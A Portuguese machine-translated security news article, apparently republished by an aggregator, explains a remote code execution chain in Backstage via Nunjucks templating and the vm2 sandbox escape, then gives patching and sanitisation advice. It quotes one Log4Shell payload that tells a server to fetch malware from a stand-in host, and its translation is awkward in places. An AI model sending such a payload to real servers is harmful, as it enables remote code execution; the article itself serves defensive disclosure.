Falha de execução de código semelhante ao Log4Shell na popular ferramenta de desenvolvimento do Backstage, PlatoBlockchain Data Intelligence. Pesquisa vertical. Ai.

Buraco de execução de código semelhante ao Log4Shell na popular ferramenta de desenvolvimento Backstage

Pesquisadores da empresa de segurança de codificação em nuvem Oxeye escreveram um bug crítico que descobriram recentemente no popular kit de ferramentas de desenvolvimento em nuvem Backstage.

Sua Denunciar inclui uma explicação de como o bug funciona, além de código de prova de conceito (PoC) mostrando como explorá-lo.

Backstage é o que é conhecido como portal de desenvolvedor de nuvem – uma espécie de back-end de lógica de negócios que facilita a criação de APIs baseadas na Web (interfaces de programação de aplicativos) para permitir que codificadores dentro e fora de sua empresa interajam com seus serviços online.

Nas palavras do próprio projeto, originalmente criado no Spotify mas agora de código aberto no GutHub:

Backstage é uma plataforma aberta para a construção de portais de desenvolvedores. Alimentado por um catálogo de software centralizado, o Backstage restaura a ordem de seus microsserviços e infraestrutura e permite que suas equipes de produto enviem código de alta qualidade rapidamente, sem comprometer a autonomia.

O Backstage unifica todas as suas ferramentas, serviços e documentação de infraestrutura para criar um ambiente de desenvolvimento simplificado de ponta a ponta.

Não, também não sabemos o que isso significa, mas sabemos que o kit de ferramentas é escrito em JavaScript, executado usando o sistema JavaScript do lado do servidor node.js, e desenha uma rede de dependências da cadeia de suprimentos do ecossistema NPM.

NPM é a abreviação de Gerenciador de pacotes de nós, um kit de ferramentas automatizado para garantir que seu código JavaScript de back-end possa usar facilmente uma ampla variedade de bibliotecas de código aberto que fornecem ferramentas auxiliares pré-escritas populares para tudo, desde criptografia e gerenciamento de banco de dados até registro e controle de versão.

Execução remota de código

Infelizmente, o bug divulgado hoje, se não corrigido, pode dar a estranhos não autenticados (vagamente, qualquer pessoa que possa fazer conexões de API com seus servidores) uma maneira de acionar a execução remota de código (RCE) dentro dos servidores de lógica de negócios em sua rede.

Felizmente, no entanto, se interpretamos o texto de Oxeye corretamente, o ataque que eles descrevem para o Backstage RCE depende de uma sequência de falhas de codificação que, em última análise, dependem de um bug específico, designado CVE-2022-36067 em um componente da cadeia de suprimentos do qual o Backstage depende, chamado vm2.

Caso você esteja se perguntando, vm2 é um módulo NPM de uso geral que implementa uma “caixa de proteção de máquina virtual” que visa tornar o JavaScript potencialmente arriscado um pouco mais seguro para ser executado em seus servidores.

Esse bug CVE-2022-36067 na vm2 foi relatado em agosto de 2022 pela própria Oxeye (que deu a ele o nome de “Sandbreak”, porque saiu da caixa de areia), e corrigido prontamente pela equipe vm2 há quase três meses.

Portanto, pelo que podemos ver, se você for um usuário do Backstage, deverá certificar-se de que corrigiu todos os componentes de risco em sua configuração do Backstage…

…mas se você corrigiu o componente vm2 que era vulnerável ao Sandbreak todos esses meses atrás, parece que você não está diretamente vulnerável ao exploit descrito na última divulgação de Oxeye.

Além disso, se seus servidores Backstage estiverem configurados como as boas diretrizes de segurança cibernética sugeririam, com autenticação necessária tanto na borda da rede quanto dentro da rede, você não correrá o risco de sondagens aleatórias “apenas para fins de pesquisa” de indivíduos “úteis” determinados para mostrar que estão interessados ​​na “pesquisa” de ameaças cibernéticas.

Um ataque de “queijo Emmenthal”

Simplificando, os problemas de segurança recém-divulgados são o efeito colateral de uma série de problemas de segurança, como buracos em fatias de queijo Emmenthal que podem ser permeados em sequência se um invasor for capaz de alinhar pelo menos um buraco em cada fatia.

Pelo que entendemos, o Backstage inclui um componente chamado Scaffolder, que, como o nome sugere, ajuda você a gerenciar os vários complementos (conhecidos como plug-ins) que sua comunidade de desenvolvedores pode querer ou precisar.

O Scaffolder, por sua vez, faz uso de um sistema de registro de mensagens da Mozilla conhecido como Nunjucks, que inclui o que é conhecido como modelagem de string in node.js círculos, como interpolação de string no mundo Java, e como substituição de corda para administradores de sistema que usam shells de comando, como Bash.

Se a interpolação de cordas toca um sino, provavelmente é porque está no centro do Log4Shell vulnerabilidade em dezembro de 2021 e do Follina bug em meados de 2022.

É onde você pode reescrever o conteúdo de uma mensagem de registro com base em “caracteres de codificação” especiais em um modelo de string, de modo que uma string como $USER pode ser substituído pelo nome da conta que está sendo usado pelo servidor, ou ${PID} pode recuperar o ID do processo atual.

No caso extremo de Log4Shell, o encantamento de aparência curiosa ${jndi:ldap://example.com:8888/malware} poderia induzir diretamente o servidor a baixar um programa chamado malware da example.com e executá-lo silenciosamente em segundo plano.

Em outras palavras, você precisa ter certeza absoluta de que os dados que chegam de uma fonte não confiável, como um usuário externo, nunca sejam passados ​​cegamente para um modelo de string ou função de interpolação de string a ser usada como o próprio texto do modelo.

Se um usuário remoto, por exemplo, tentar enganar seu servidor fornecendo seu nome de usuário como ${{RISKY}} (assumindo que a biblioteca de modelos usa ${{...}} como seu marcador especial), você precisa garantir que seu código de registro registrará corretamente esse texto de aparência travessa literalmente conforme foi recebido…

…em vez de permitir que o texto que está sendo registrado assuma o controle sobre a própria função de registro!

Nas palavras de uma velha canção de ninar, você precisa garantir que não acabará cantando: “Há um buraco no meu ${{BUCKET}}, querida Liza, querida Liza, há um buraco no meu ${{BUCKET}}, querida Liza. Um buraco!”

Envolto em um cobertor de segurança

Para ser justo, a funcionalidade de modelagem/interpolação talvez muito poderosa do Nunjucks é empacotada pelo Backstage dentro de outro componente da cadeia de suprimentos, ou seja, o sistema de sandbox vm2 mencionado acima, que supostamente restringe o perigo que um usuário mal-intencionado poderia fazer com booby dados de entrada interceptados.

Infelizmente, os pesquisadores da Oxeye conseguiram emparelhar seus caminhos de acionamento de código de modelo de string recém-descobertos em Backstage + Scaffolder + Nunjucks com a vulnerabilidade CVE-2022-36067 mais antiga no wrapper de segurança vm2 para obter uma possível execução remota de código em um servidor Backstage .

O que fazer?

Se você for um usuário do Backstage:

  • Certifique-se de ter as versões mais recentes do Backstage e suas dependências, incluindo o plugin-scaffolder-backend componente. De acordo com Oxeye, os bugs relevantes no código Backstage foram corrigidos até 01 de setembro de 2022, de modo que qualquer lançamento pontual oficial após esses dados deve incluir as correções. No momento em que escrevo [2022-11-1T16:00Z], isso inclui Backstage 1.6.0, 1.7.0 e 1.8.0, lançado em 2022/09/21, 2022/10/18 e 2022/11/15, respectivamente.
  • Verifique se a instalação do Backstage tem a autenticação configurada conforme o esperado. Oxeye afirma que a autenticação está desativada por padrão e que, após seguir o Diretrizes de bastidores, servidores de back-end (que provavelmente não deveriam ser expostos externamente de qualquer maneira) ainda permitiam acesso não autenticado. Isso pode ser o que você deseja, mas recomendamos usar esse problema como um motivo para verificar se sua configuração corresponde às suas intenções.
  • Verifique quais partes da infraestrutura do Backstage podem ser acessadas pela Internet. Mais uma vez, use esse problema como um motivo para escanear sua própria rede externamente, caso não tenha feito isso recentemente.

Se você for um usuário node.js/NPM:

  • Certifique-se de ter a versão mais recente do componente vm2 sandbox. Você pode tê-lo instalado como uma dependência de outro software que usa, mesmo que não tenha o Backstage. A vulnerabilidade CVE-2022-36067 foi corrigida em 2022-08-28, então você quer a versão vm2 3.9.11 ou mais tarde.

Se você é um programador:

  • Seja o mais defensivo possível ao chamar funções de registro poderosas. Se você usa um serviço de registro (incluindo Nunjucks ou Log4J) que inclui recursos poderosos de modelagem/interpolação, desative todos os recursos desnecessários para que não possam ser explorados por engano. Certifique-se de que a entrada não confiável nunca seja usada como um modelo, evitando assim que os invasores rolem suas próprias strings de entrada diretamente perigosas.
  • Independentemente de quaisquer outras precauções em vigor, limpe suas entradas e saídas de registro. Lembre-se de que outra pessoa precisará abrir seus arquivos de log no futuro. Não permita que armadilhas inadvertidas sejam gravadas em seu arquivo de log, onde podem causar problemas mais tarde, como fragmentos de HTML com tags de script deixados nele. (Alguém pode abrir o arquivo em um navegador por engano.)

Mesmo quando você recebe informações de uma fonte confiável, raramente há motivo para não passar por suas próprias verificações de sanitização antes de usá-las.

(Você pode ocasionalmente justificar uma exceção, por exemplo, por motivos de desempenho, mas deve ser uma exceção, não a regra.)

Em primeiro lugar, verificar novamente ajuda a identificar erros que codificadores anteriores podem ter cometido de boa fé; em segundo lugar, ajuda a limitar a disseminação de dados ruins ou armadilhados se alguma outra parte do seu ecossistema for comprometida.

A coisa sobre essas fatias de queijo Emmenthal que mencionamos anteriormente é que, embora sejam permeáveis, se pelo menos um buraco se alinhar em cada folha…

…são impermeáveis ​​se houver pelo menos uma folha com furos que não se alinham!


Carimbo de hora:

Mais de Segurança nua